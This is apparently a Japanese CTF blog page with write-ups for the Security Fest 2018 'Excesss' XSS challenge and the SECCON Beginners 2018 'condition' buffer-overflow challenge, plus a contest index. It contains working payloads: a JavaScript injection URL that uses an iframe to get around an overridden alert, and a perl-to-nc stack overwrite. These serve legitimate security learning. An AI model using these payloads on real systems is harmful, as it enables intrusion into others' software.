こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Security Fest CTF 2018 - Excesss

問題文

This is some kind of reverse captcha to tell if the visitor is indeed a robot. Can you complete it?
http://xss1.alieni.se:2999/

f:id:graneed:20180602015039p:plain

writeup

この画面上でalert(1)を表示するURLを作って、フォームに入力してsubmitすると勝ち。
つまり、この画面にはXSS脆弱性が存在する。

hereのリンクを押下すると、http://xss1.alieni.se:2999/?xss=hello へ遷移する。 HTMLソースを見てみる。

<!DOCTYPE html>
<html lang="en">
  <head>
      <meta charset="UTF-8">
      <meta name="viewport" user-scalable="no" content="width=device-width, initial-scale=1">
      <link rel="stylesheet" href="/static/style.css" />
      <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
      <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
      <link rel="stylesheet" href="https://netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" />
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.3.0/css/mdb.min.css" />
  </head>
  <body>
      <script src="/static/no_alert_for_you.js"></script><section class="login-info">
<div class="container">
  <script>var x ='hello'; var y = `hello`; var z = "hello";</script>
  <div class="row main">
       <div class="form-header header">
          <h1 class="text-center ">Excess Ess</h1>
        </div>
    <div class="main-content">
          <div class="row" id="container">
            <hr>
            <h4 class="text-center black-text">Make alert(1) pop <a href="/?xss=hello">here</a> and submit the working URL in the form below.</h4>
          </div>
          <form method="post" action="/submit">
          <div class="input-group ">
            <span class="input-group-addon"><span class="glyphicon glyphicon-paperclip" aria-hidden="true"></span></span>
            <input type="text" class="form-control text-center" name="url" placeholder="URL that pops alert(1) without user interaction">
          </div>
          
          <div class="form-group ">
          <center>
              <input type="submit" value="submit" name="login" class="btn btn-green header btn-lg btn-block login-button"/>
              </center>
          </div>

          </form>
          
          <div class="form-group" id="container">
          </div>
      
      </div>
    </div></body></html>

<script>var x ='hello'; var y = `hello`; var z = "hello";</script>がポイント。
xssパラメータの文字列がここにセットされるようだ。
なお、<と>を入力しても削除される。

他、/static/no_alert_for_you.jsをロードしている。
中身を見てみる。

/*

        If there is no alert,
            how can there be XSS?
                      /
                     /
            )            (
           /(   (\___/)  )\
          ( #)  \ ('')| ( #
           ||___c\  > '__||
           ||**** ),_/ **'|
     .__   |'* ___| |___*'|
      \_\  |' (    ~   ,)'|
       ((  |' /(.  '  .)\ |
        \\_|_/ <_ _____> \______________
         /   '-, \   / ,-'      ______  \
b'ger   /      (//   \\)     __/     /   \
                            './_____/

*/
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));

alert関数を上書きしているため、alert関数を呼んでもプロンプトが表示されてしまう。
一応、試してみる。
http://xss1.alieni.se:2999/?xss=';alert(1);var a='にアクセスする。

f:id:graneed:20180602020042p:plain

やはりプロンプトが表示される。

HTMLソースはこうなる。

(snip)
  <script>var x ='';alert(1);var a=''; var y = `';alert(1);var a='`; var z = "';alert(1);var a='";</script>
(snip)

上書きされているのは現在のwindowオブジェクトのalert関数である。
windowオブジェクトはフレームごとに異なるため、
iframeでインラインフレームを作って、インラインフレームのwindowオブジェクトのalert関数を使えばよい。

以下、JavaScriptでインラインフレームを作ってからalert関数を呼ぶスクリプトを混入させるURL。
わかりやすいように改行を入れた。

http://xss1.alieni.se:2999/?xss=
';
var iframe = document.createElement('iframe');
document.body.appendChild(iframe);
iframe.contentWindow.alert(1);
var a='

すると、

Not allowed to navigate outside of xss1.alieni.se:2999

が表示された。
iframeのsrcが空だと、外部サイト扱いになるのだろうか。 srcにルートをセット。

http://xss1.alieni.se:2999/?xss=
';
var iframe = document.createElement('iframe');
iframe.src = '/';
document.body.appendChild(iframe);
iframe.contentWindow.alert(1);
var a='

アクセスすると、アラートが表示された。

そのまま、URLを入力フォームに入力してsubmit。

フラグゲット 。
sctf{cr0ss_s1te_n0scr1ptinG}

SECCON Beginners CTF 2018 - まとめ

1問題1投稿にしたら数が増えて迷子になるためインデックス記事を作成。
ついでに感想も。

記事一覧

Web

graneed.hatenablog.com

graneed.hatenablog.com

graneed.hatenablog.com

graneed.hatenablog.com

Misc

graneed.hatenablog.com

graneed.hatenablog.com

graneed.hatenablog.com

Crypto

graneed.hatenablog.com

graneed.hatenablog.com

graneed.hatenablog.com

Rev

graneed.hatenablog.com

graneed.hatenablog.com

graneed.hatenablog.com

Pwn

graneed.hatenablog.com

結果

1697ポイントで25位。Pwnがあかん。
f:id:graneed:20180527211934p:plain

感想

ビギナーズとしての入門問題としては丁度いいレベルでは。
普段手つかずのCrypto、Rev、Pwnも、「これならいけるかも」と手を出すことができた。
Webは簡単すぎたかな。正答者も多かったし。

SECCON Beginners CTF 2018 - [Warmup] condition

問題文

あなたは flag にアクセスする権限を持っていますか?
Host: pwn1.chall.beginners.seccon.jp
Port: 16268
添付ファイル:condition_68187f0953551cea907c48c016f19ff200de74b4

writeup

fileコマンドで調べる。

root@kali:[Warmup] condition# file ./condition_68187f0953551cea907c48c016f19ff200de74b4 
./condition_68187f0953551cea907c48c016f19ff200de74b4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=855948dc75c58cfbefe60b921e6b737675a18ca3, not stripped

実行してみる。

root@kali:[Warmup] condition# ./condition_68187f0953551cea907c48c016f19ff200de74b4 
Please tell me your name...AAAA
Permission denied

stringsで見てみる。
何らかの条件に合致するとflag.txtを出力してくれると推測。

root@kali:[Warmup] condition# strings condition_68187f0953551cea907c48c016f19ff200de74b4 > condition.txt 
root@kali:[Warmup] condition# cat condition.txt 
(snip)
Please tell me your name...
OK! You have permission to get flag!!
flag.txt
Permission denied
(snip)

objdumpで見てみる。
rbp-0x4のアドレスの値が0xdeadbeefであることが条件のようだ。

root@kali:[Warmup] condition# objdump -d -Mintel condition_68187f0953551cea907c48c016f19ff200de74b4 > condition.dmp.txt 

root@kali:[Warmup] condition# cat condition.dmp.txt 
(snip)
0000000000400771 <main>:
  400771:   55                      push   rbp
  400772:   48 89 e5                mov    rbp,rsp
  400775:   48 83 ec 30             sub    rsp,0x30
  400779:   c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0
  400780:   bf d8 08 40 00          mov    edi,0x4008d8
  400785:   b8 00 00 00 00          mov    eax,0x0
  40078a:   e8 71 fe ff ff          call   400600 <printf@plt>
  40078f:   48 8d 45 d0             lea    rax,[rbp-0x30]
  400793:   48 89 c7                mov    rdi,rax
  400796:   b8 00 00 00 00          mov    eax,0x0
  40079b:   e8 80 fe ff ff          call   400620 <gets@plt>
  4007a0:   81 7d fc ef be ad de    cmp    DWORD PTR [rbp-0x4],0xdeadbeef
  4007a7:   75 16                   jne    4007bf <main+0x4e>
  4007a9:   bf f8 08 40 00          mov    edi,0x4008f8
  4007ae:   e8 0d fe ff ff          call   4005c0 <puts@plt>
  4007b3:   bf 1e 09 40 00          mov    edi,0x40091e
  4007b8:   e8 16 00 00 00          call   4007d3 <read_file>
  4007bd:   eb 0a                   jmp    4007c9 <main+0x58>
  4007bf:   bf 27 09 40 00          mov    edi,0x400927
  4007c4:   e8 f7 fd ff ff          call   4005c0 <puts@plt>
  4007c9:   bf 00 00 00 00          mov    edi,0x0
  4007ce:   e8 6d fe ff ff          call   400640 <exit@plt>
(snip)

gdbで入力文字列を変えながらメモリ状態を確かめると、$rbp-0x4は入力文字列の45バイト目以降を指すようだ。

Aで44文字埋めて、45文字目以降を0xdeadbeefにした文字列を送り込む。
(リトルエンディアン考慮に注意。)
適当な文字列でflag.txtを作って試す。

ctfuser@kali:[Warmup] condition$ cat flag.txt 
hogehoge

ctfuser@kali:[Warmup] condition$ perl -e 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\n"' | ./condition_68187f0953551cea907c48c016f19ff200de74b4 
Please tell me your name...OK! You have permission to get flag!!
hogehoge

成功した。

ctfuser@kali:[Warmup] condition$ perl -e 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\n"' | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

フラグゲット。
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}